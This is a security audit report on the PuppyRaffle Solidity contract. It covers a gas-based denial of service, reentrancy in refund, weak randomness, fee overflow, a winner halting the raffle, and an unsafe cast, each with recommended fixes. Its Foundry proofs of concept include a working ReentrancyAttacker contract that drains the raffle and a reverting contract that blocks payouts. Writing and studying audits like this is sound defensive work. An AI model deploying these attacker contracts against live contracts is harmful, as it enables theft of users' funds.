PUPPY RAFFLE AUDIT

Author: Lionel Legacy

Date: July 2, 2025

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   i. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I, LIONEL LEGACY made all efforts to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

I use the CodeHawks severity matrix to determine severity:

Impact	**Likelihood:High**	**Likelihood:Medium**	**Likelihood: Low**
High	High	High/Medium	Medium
Medium	High/Medium	Medium	Medium/Low
Low	Medium	Medium/Low	Low

Audit Details

Scope

The audit focused on the following file:

- ./src/PuppyRaffle.sol

Roles

- Admin who sets fee address and protocol operations
- Users who enter raffles

Findings

[M-1] Looping through the unbounded array can cause denial of service as the gas costs would increaase with more entrants.

Description

When checking for duplicates in the "PuppyRaffle::enterRaffle" function, gas costs would increase drastically over time as the length of the array increases. Every new address entry in the "players" array would cost more to check for duplicates and thus, the players who enter the raffle earlier would pay alot lesser gas than those who enter the raffle later.

```
        // Check for duplicates

        @audit DOS here =>

        for (uint256 i = 0; i < players.length - 1; i++) {

            for (uint256 j = i + 1; j < players.length; j++) {

                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");

            }

        }

        emit RaffleEnter(newPlayers);
```

An attacker can give themselves an edge in the raffle by entering with many addresses early so as to discourage others from entering since the gas costs would increase.

Also, it could make participants rush to enter the raffle early on.

Proof of Concept:

The below test suite demonstrates how the gas costs would vary greatly across the first 100 and second 100 players:

```
    function test_denialOfServiceAttack() public {
        vm.txGasPrice(1);

        uint playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        //see how much gas it costs
        uint gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee *
players.length}(players);
        uint gasEnd = gasleft();

        uint gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players", gasUsedFirst);

        //now test for the second set of 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        //see how much gas it costs
        uint gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo
        );
        uint gasEndSecond = gasleft();

        uint gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas cost of the second 100 players", gasUsedSecond);
        assert(gasUsedFirst < gasUsedSecond);
```

The test produced the following results (using verbose output -vvv):

Gas cost of the first 100 players: 6503275

Gas cost of the second 100 players: 18995515

Recommended Mitigation:

1.Consider how the same player can enter multiple times with different addresses. Thus, making the duplicate check might not be necessary.

2. Consider using a mapping to check for duplicates to maintain origin code functionality.

[H-1] Re-entrancy Attack In "PuppyRaffle::refund" can allow attacker to drain contract

Description:

The "PuppyRaffle::refund" function does not follow CEI and allows malicious players to drain the contract.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address, and only after making that external call, we update the players array. A malicious contract with a fallback/receive function can drain the contract due to this vulnerability.

Proof of Concept

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");


        payable(msg.sender).sendValue(entranceFee);


        players[playerIndex] = address(0);
        //reentrancy exploit here
        emit RaffleRefunded(playerAddress);
    }
```

Impact: All fees paid on the protocol could be stolen by the malicious participant.

Proof of Concept: The below test suite below demonstrates how a malicious contract can drain the contract.

```
function test_ReentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle
    );
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint startingAttackerContractBalance = address(attackerContract)
        .balance;
    uint startingContractBalance = address(puppyRaffle).balance;
```

```
        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attacker contract balance: ",
            startingAttackerContractBalance
        );
        console.log("Starting contract balance: ", startingContractBalance);

        console.log(
            "ending attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log("ending contract balance: ",
address(puppyRaffle).balance);
        }
    }

    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint entranceFee;
        uint attackerIndex;


        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }


        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);


            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }


        function _stealMoney() internal {
            if (address(puppyRaffle).balance > entranceFee) {
                puppyRaffle.refund(attackerIndex);
        }
        }
```

```
        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation: To fix this, we should have the "PuppyRaffle::refund" function update the players array before making the external call. Additionally, we should move the event emission up as well.

Below is an improved version of the concerned code.

Proof Of Code

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);

        (bool success,) = msg.sender.call{value: entranceFee}("");

    }
```

[H-2] Weak randomness in PuppyRaffle::selectWinner Can Allow Chosen Winner To Be Manipulated

Description: Hashing msg.sender, block.timestamp, block.difficulty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Validators can know ahead of time the block.timestamp and block.difficulty and use that knowledge to predict when / how to participate.

See the solidity blog on prevrando here. block.difficulty was recently replaced with prevrandao.

Users can manipulate the msg.sender value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

[H-3] Integer overflow of PuppyRaffle::totalFees Loses Fees

Description: In Solidity versions prior to 0.8.0, integers were subject to integer overflows.

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.

2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.

3. totalFees will be:

```
totalFees = totalFees + uint64(fee);

// substituted

totalFees = 800000000000000000 + 17800000000000000000;

// due to overflow, the following is now the case

totalFees = 153255926290448384;
```

The above case would imply fees can not be withdrawn due to the following line in "Puppy:: withdrawFees" :

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Recommended Mitigation:

1. Use a uint256 instead of a uint64 for totalFees.

2. Remove the balance check in PuppyRaffle::withdrawFees

    - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

[H-4] Malicious winner can Halt the raffle

Description: Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

-(bool success,) = winner.call{value: prizePool}("");

-require(success, "PuppyRaffle: Failed to send prize pool to winner");

If the winner account were a smart contract that did not implement a payable fallback or receive function, or these functions were included but reverted, the external call above would fail, and execution of the selectWinner function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the selectWinner function mints an NFT to the winner using the _safeMint function. This function, inherited from the ERC721 contract, attempts to call the onERC721Received hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the onERC721Received hook expected. This will prevent minting the NFT and will revert the call to selectWinner.

Also, an attacker can use selfdestruct function to also disrupt this function.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof Of Concept:

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
```

```
        vm.roll(block.number + 1);

        address[] memory players = new address[](4);
        players[0] = address(new AttackerContract());
        players[1] = address(new AttackerContract());
        players[2] = address(new AttackerContract());
        players[3] = address(new AttackerContract());
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

The attacker contract can look like this :

Proof Of Code

```
    contract AttackerContract {
        // Implements a `receive` function that always reverts
            receive() external payable {
            revert();
        }
    }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the selectWinner function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of selectWinner.

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

Proof Of Code

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;

        uint256 winnings = address(this).balance - fee;

        totalFees = totalFees + uint64(fee);

        players = new address[](0);

        emit RaffleWinner(winner, winnings);

    }
```

If the fees collected exceed the highest number of a uint64 (18446744073709551615) , the fees would be reduced and permanently have eth stuck in the contract.

Recommended Mitigation : Use uint256 instead of casting to a uint64.

Severity	**Count**
High	4
Medium	2
Low	0
Informational	0
Gas	0